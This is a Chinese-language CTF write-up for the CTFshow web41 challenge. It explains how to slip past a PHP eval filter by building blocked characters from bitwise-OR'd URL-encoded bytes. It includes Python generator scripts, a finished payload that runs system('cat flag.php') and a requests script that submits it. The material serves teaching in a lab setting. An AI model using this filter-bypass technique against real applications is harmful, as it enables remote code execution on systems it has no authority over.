CTFshow wbe41 教你写脚本

发布于:2022-11-09 ⋅ 阅读:(711) ⋅ 点赞:(0)

这道题确实难,查了很多个大佬的题解,发现这道题考察的是或运算生成字符,但是过了n篇文章发现全是直接用羽师傅的脚本,没有人说这个脚本是怎么运行的,莫名其妙就出结果,脑瓜嗡嗡,可能大佬们默认这脚本大家一看就会用吧,小白只能自己研究了,于是我研究了羽师傅的脚本,自己仿照写了一个!

web41

代码分析:

    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");

首先是POST方法传递参数,其次过滤了基本上所有的可见字符,但是没有过滤或运算符|和双引号”,所以可以使用或运算构造字符

第一步:通过或运算构造字符

url编码:对于服务器而言,编码前后的字符串并没有什么区别,服务器能够自动识别。其实url编码就是一个字符ascii的十六进制,不过稍微有些变动,需要在前面加上“%”,即ascii转成十六进制加上%就是url编码,但是url还包括许多ascii中没有的字符

或运算:10000 与00001或运算后结果为10001,即有1为1

构造字符:因为过滤了大部分可见字符,为了使用这些可见字符我们可以使用

“不可见字符”|“不可见字符”=可见字符的方法,即“未过滤字符|未过滤字符”=“过滤的字符”

使用这种方法来绕过过滤,所以第一步就是找到这种未过滤字符

python代码

import re
import urllib
from urllib import parse
pattern='/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'
for i in range(256):
    for j in range(256):
        if re.search(pattern, chr(i)):
            break
        if re.search(pattern, chr(j)):
            continue
        if i < 16:
            hex_i = "0" + hex(i)[2:]
        else:
            hex_i = hex(i)[2:]
        if j < 16:
            hex_j = "0" + hex(j)[2:]
        else:
            hex_j = hex(j)[2:]
        hex_i = '%' + hex_i
        hex_j = '%' + hex_j
        c = chr(ord(urllib.parse.unquote(hex_i)) | ord(urllib.parse.unquote(hex_j)))
        if (c == 's'):
            print(hex_i, hex_j);

分析

看上去很长,其实不难,一行一行分析

首先url编码的范围大概在0-256(十进制),通过两层循环

i为未过滤字符1 

j为未过滤字符2

pattern是题目中过滤的内容,前面提到i与j是未过滤的字符,所以我们要把过滤的字符剔除

 

re.search是python中正则匹配函数,其中第一个参数为正则表达式,第二个参数是要匹配的字符,如果匹配则返回匹配的位置

因为过滤的字符都是可见字符,且都存在ascii编码,可以直接将i,j当作ascii,利用chr函数转为字符

因为是双层循环,所以当i是可见字符时直接跳过第二层循环,当j是可见字符时跳过该次循环(这块不理解先去学python吧)

接下来就是转换成url编码,就是%16进制

 

因为python中hex()函数返回值为0x+十六进制,但url编码中没有0x所以使用[2:]截取0x后面的内容

当i,j<16时如4 hex(4)=0x4,但url编码应该为%04所以在hex()[2:0]前面加字符"0"

最后在数字前面加'%'转换为url编码

到这里就是用来筛选可以组合成我们需要字符的两个未知字符的url了

python中 |运算只能使用数字,所以我们先将url编码解码,再使用ord函数将解出来的字符转回ascii,之后进行或运算,运算后将结果使用chr函数转回字符

判断或运算得到的字符是否是我们需要的字符,这里使用的是s,如果是则输出两个未知字符的url编码

运行结果

很多的,只展示一部分

这几组url编码进行或运算都能得到字符s

即s=url解码(%13|%60)

第二步:构造payload

如构造一个system('ls')

这里有两个知识点:

①system('ls')与(system)('ls')是一样的都可以执行

②要使用或运算构造字符串时应将所有如刚才提到的未知字符1拼接到一起|未知字符2拼接到一起

说起来很抽象,举个例子

system=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")

其中%13|%60=s     %19|%60=y      %14|%60=t

很明显可以看出来就是将前半部分组合到一起 | 后半部分组合到一起

python代码

import re
import urllib
from urllib import parse
hex_i = ""
hex_j = ""
pattern='/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'
str1=["system","ls"]
for p in range(2):
    t1 = ""
    t2 = ""
    for k in str1[p]:
        for i in range(256):
            for j in range(256):
                if re.search(pattern,chr(i)) :
                    break
                if re.search(pattern,chr(j)) :
                    continue
                if i < 16:
                    hex_i = "0" + hex(i)[2:]
                else:
                    hex_i=hex(i)[2:]
                if j < 16:
                    hex_j="0"+hex(j)[2:]
                else:
                    hex_j=hex(j)[2:]
                hex_i='%'+hex_i
                hex_j='%'+hex_j
                c=chr(ord(urllib.parse.unquote(hex_i))|ord(urllib.parse.unquote(hex_j)))
                if(c ==k):
                    t1=t1+hex_i
                    t2=t2+hex_j
                    break
            else:
                continue
            break
    print("(\""+t1+"\"|\""+t2+"\")")

分析

 这里是我们要构造的字符串 system 和 ls

p是用来控制字符串个数,两个字符串

t1和t2是用来接收每个字符的前半部分和后半部分

k是用来循环匹配每一个字符

 

当匹配上后,将前半部分加到t1 后半部分加到t2

每次循环完一个字符串后输出构造好的结果,将两个构造好的字符串拼接,用post方法传入即可看到结果

第三步提交payload

运行结果

 

 上面的是system 下面的是ls

用bp提交一下,注意hackbar提交会被再次编码看不到结果

 

记得没有换行哈,python出来是换行的

用重发器发送一下

看到ls已经被执行了,接下来就是把ls换成cat flag.php

payload :

("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")

结果

附加步骤自动化脚本

到这一步其实就是用python主动提交payload

    payload=payload+("(\""+t1+"\"|\""+t2+"\")")
print(payload)
data={
    "c":urllib.parse.unquote(payload)
}
url="http://ae1911ce-91da-4b6c-94b2-c7a618ea88de.challenge.ctf.show/"
re=requests.post(url,data=data)
print(re.text)

 就是将结果在python中拼接用requests.post发送,最后把返回结果打印一下

注意因为发送过程中会再次url编码一次所以发送前应该先url解码一次,当然因为|没有执行所以不会解成过滤字符

运行结果

flag:

ctfshow{4d245c9f-6fa0-4dd3-967a-b4ae29aaf846}

 到这里就结束啦,相信大家也理解一点了,自己动手写一写吧!共勉!

本文含有隐藏内容,请 开通VIP 后查看